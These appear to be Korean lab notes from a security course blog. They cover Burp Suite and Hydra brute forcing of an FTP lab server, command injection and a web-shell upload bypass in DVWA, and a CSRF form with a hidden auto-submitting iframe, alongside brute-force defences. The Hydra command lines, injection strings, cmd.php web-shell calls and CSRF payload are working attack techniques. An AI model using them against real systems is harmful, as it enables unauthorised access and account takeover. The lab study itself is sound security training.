BURPSUITE

Applications - Web Application Analysis - burpsuite

Brute Force admin 로그인


Brute suite -> proxy -> history

마우스 우클릭 -> Send to Intruder

해당 비밀번호 입력값 드래그 후 Add$ 클릭
오른쪽 PAYLOAD 예상 비밀번호 ADD / ATTACK
비밀번호 임계값 설정 목적 = Brute Force 방지

payload
사전 파일 작성
저장된 리스트로 brute force 공격 가능
/usr/share/john/password.lst
- *Brute Force(무차별 대입 공격)**는 가능한 모든 경우의 수를 시도하여 정답을 찾는 방식입니다.
- 주로 보안 공격에서 패스워드 크래킹, 키 찾기, 해시 충돌 탐색 등에 사용됩니다.
1. 브루트 포스 개념
- 알고리즘: 가능한 모든 조합을 순차적으로 시도하여 정답을 찾는 방식
- 보안 공격: 비밀번호, 암호화 키 등을 무작위로 대입하여 찾는 공격 기법
2. 브루트 포스 공격의 유형
- 단순 무차별 대입 공격(Brute Force Attack)
- 사전 없이 모든 가능한 조합을 대입하여 시도
- 예: aaaa, aaab, aaac, ... zzzz
- 사전 공격(Dictionary Attack)
- 사전에 존재하는 단어 리스트(예: 흔한 비밀번호 목록)를 이용해 공격
- 예: password, 123456, qwerty, letmein 등
- 크리덴셜 스터핑(Credential Stuffing)
- 유출된 사용자 계정 정보를 다른 서비스에 적용하여 로그인 시도
- 예: 한 웹사이트에서 유출된 id: user123 / pw: 123456을 다른 웹사이트에 입력하여 로그인
- 리버스 브루트 포스(Reverse Brute Force)
- 특정한 비밀번호를 정해두고, 여러 ID에 대해 적용하는 방식
- 예: "password123"를 여러 이메일(ID)와 조합하여 로그인 시도
3. 브루트 포스 공격 방어 방법
- 비밀번호 복잡성 증가
- 길고, 대소문자, 숫자, 특수문자를 조합하여 생성
- 예: D!fF1CuL7_P@s$w0rd
- 계정 잠금 정책 적용
- 일정 횟수 이상 로그인 실패 시 계정을 일시적으로 차단
- 예: 5회 실패 후 10분간 로그인 차단
- CAPTCHA 사용
- 로그인 시 자동화된 공격 방지
- 이중 인증(MFA, 2FA)
- OTP, SMS 인증 등을 활용하여 추가 보안 계층 적용
- 비밀번호 해싱 강화
- bcrypt, PBKDF2, Argon2 등 강력한 해싱 알고리즘 사용
- 무작위 salt 값 적용하여 같은 비밀번호라도 다른 해시 값 생성
THC-HYDRA
The Hacker's Choice Hydra
[ HYDRA ]
- 로그인 크래킹 도구(Brute Force / Dictionary Attack 도구)
- 다양한 프로토콜(HTTP, FTP, SSH, TELNET 등)에 대해 대량의 로그인 시도 자동화
- 빠르고 멀티스레드 기반 (속도 향상)
- Hydra 공격
- SSH : SSH 로그인 크래킹
- FTP : FTP 서버 비밀번호 추측
- HTTP-POST/GET : 웹 로그인 폼 공격
- TELNET : Telnet 접속 시도
# hydra -l [User] -x 4:4:4:1a ftp://[공격 대상 IP] -V -f
|
< 옵션 >
-l = 로그인 계정
-x [ ] = 자동 생성된 비밀번호 조합
-V = Verbose 모드 (시도하는 모든 조합을 보여줌)
-f = 첫 번째 성공 시도에서 공격 중단
[ -x : HYDRA 비밀번호 자동 생성 옵션 ]
-x 최소길이:최대길이:정확한길이:캐릭터셋
|
1
|
숫자 (0-9)
|
a/A
|
소문자 (a-z) / 대문자 (A-Z)
|
!
|
특수문자 (!@#$%^&* 등)
|
.
|
모든 문자 (숫자+대문자_특수문자)
|
# hydra -l test -x 4:4:4:1a ftp://192.168.10.50 -V -f
1a = 숫자(1) + 소문자(a) 조합


[KALI FTP 공격]
hydra -l test -p 123456 <ftp://192.168.10.50> -V -f
소문자 = 해당 문자로만 대입 공격
hydra -L /usr/share/test -P /root/pass.txt <ftp://192.168.10.50> -V -f
대문자 = 사전 파일로 대입 공격
방화벽 해제

vi /etc/pam.d/vsftpd + vi /etc/vsftpd/vsftpd.conf
allow 변경 + userlist_deny=NO / userlist_enable= no
- userlist_deny=NO //
- userlist_enable=YES //
- userlist_file=/etc/vsftpd.user_list
상관없음
필요한 기본 설정
- pam_service_name=vsftpd
- local_enable=YES
- root 로그인을 허용하려면 다음 옵션이 필요함:
local_root=/root
allow_writeable_chroot=YES
없어도 공격 가능
[ROOT 로그인 공격]
deny /enable=no -> FAIL
deny /enable=yes -> FAIL
allow /enable=yes -> FAIL
allow /enable=no -> SUCCESS

무한대 생성 공격
hydra -l root -x 3:3:1a <ftp://192.168.10.50> -V -f
최소 : 최대 : 1 ( 숫자 ) a ( 알파벳 )

DVWA
웹페이지 - 우클릭 - 페이지 소스 보기
리눅스 ping -c 3
윈도우 ping -n 3
OPTION를 보고 OS 확인 가능해야한다
사용가능 연산자
| (or) || / & &&
127.0.0.1 && cd /etc/ && ls -la && pwd
127.0.0.1 && echo "test" && cat >> test
; 순차 실행 – 앞의 명령어가 성공/실패 여부와 상관없이 다음 명령 실행
& 백그라운드 실행 – 앞의 명령을 백그라운드에서 실행하고 즉시 다음 명령 실행
&& AND 연산 – 앞의 명령이 성공(0 반환) 하면 다음 명령 실행
| 앞의 명령 출력을 뒤의 명령 입력으로 전달
|| 앞의 명령이 실패(= 종료 상태 0이 아님) 하면 다음 명령을 실행

DVWA - Security - low

< PHP 출력 TEST >
Apache2 웹서버가 PHP를 정상적으로 실행하는지 확인
# vi /var/www/html/webshell.php


< 시스템 명령어 실행 >
# vi /var/www/html/ws.php

< WEBSHELL TEST >
웹쉘이 정상적으로 파일을 읽는지 test
# vi /etc/

# systemctl restart apache2
< Apache 설정 정상 작동 확인 >

< ws.php 실행으로 다중 시스템 명령어 출력 확인 >
세 파일 내용이 동시 출력됨





Intercept on

생성한 파일 선택

22줄 image/jpeg 변경 -> Forward

Intercept off

upload 확인

http://192.168.10.129/dvwa/hackable/uploads/cmd.php?cmd=ls-l

데이터를 캡쳐 후 수정 가능
텍스트 파일을 이미지 파일로 변경 가능하여
이미지만 업로드 가능한 설정 취약점 통과 가능
http://192.168.10.129/dvwa/hackable/uploads/cmd.php?cmd=pwd



이미지 파일로 조작하여 등록 후
시스템 접속 및 사용 가능
취약점 발견
웹 페이지 변경 시
검색창에 명령어 입력 후
forward 클릭 후 웹 페이지 확인 시
출력 확인 가능
검색창 통해서
디렉터리 및 파일 생성 가능
nestat -an 출력 가능
디렉터리 및 파일 삭제 가능
uploads/cmd.php?cmd=echo "test" | cat >> test
top 불가 ( 실시간 시스템 불가 추정)
진짜 이미지 파일 등록 시 이미지 확인도 가능



Ctrl+U - / 웹페이지 소스 보기
소스 원본 보기
<form action="#" method="GET"> New password:<br>
<input type="password" AUTOCOMPLETE="off" name="password_new"><br>
Confirm new password: <br>
<input type="password" AUTOCOMPLETE="off" name="password_conf">
<br>
<input type="submit" value="Change" name="Change">
</form>
[코드 변경]
vi /var/www/html/test.html
<form action="<http://192.168.10.129/dvwa/vulnerabilities/csrf/>" method="GET">
<input type="hidden" AUTOCOMPLETE="off" value='p@ssw0rd' name="password_current"><br>
<input type="hidden" AUTOCOMPLETE="off" value='123456' name="password_new"><br>
<input type="hidden" AUTOCOMPLETE="off" value='123456' name="password_conf"><br>
<input type="submit" value="Clike here to Change" name="Change">
</form>


해당 링크된 버튼 클릭 시 해커가 설정한 패스워드로 자동으로 비밀번호 변경 완료


192.168.10.250/TEST.html
가짜 링크를 전송
my blog 클릭 시
비밀번호 변경 페이지로 이동
변경완료 메시지 확인
192.168.10.129/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
http 주소 확인 필요
보안 강도 확인 필요
<iframe style="display:none;" name="changemail"></iframe>
<form method="POST" action="요청 보낼 URL" id="myForm" target="changemail">
<input type="hidden" name="email" value ="공격자가 원하는 값">
</form>
<script>
document.getElementById('myForm').submit();
</script>
iframe이 게시글에서는 안보이게 display:none;으로 설정하고,
form 태그 요청이 갈 곳을 설정하기 위해 name 값을 준다.
그리고 form 태그에 target 속성에 해당 name 값을 주면
iframe으로 가져온 페이지로 요청이 날아간다.
'IT 엔지니어 > Security' 카테고리의 다른 글
SQL injection[Non-blind/Blind] (0) | 2025.04.17 |
---|---|
XSS (0) | 2025.04.17 |
XSS (0) | 2025.04.11 |
Directory Indexing (0) | 2025.04.11 |
SNORT RULEs (0) | 2025.04.10 |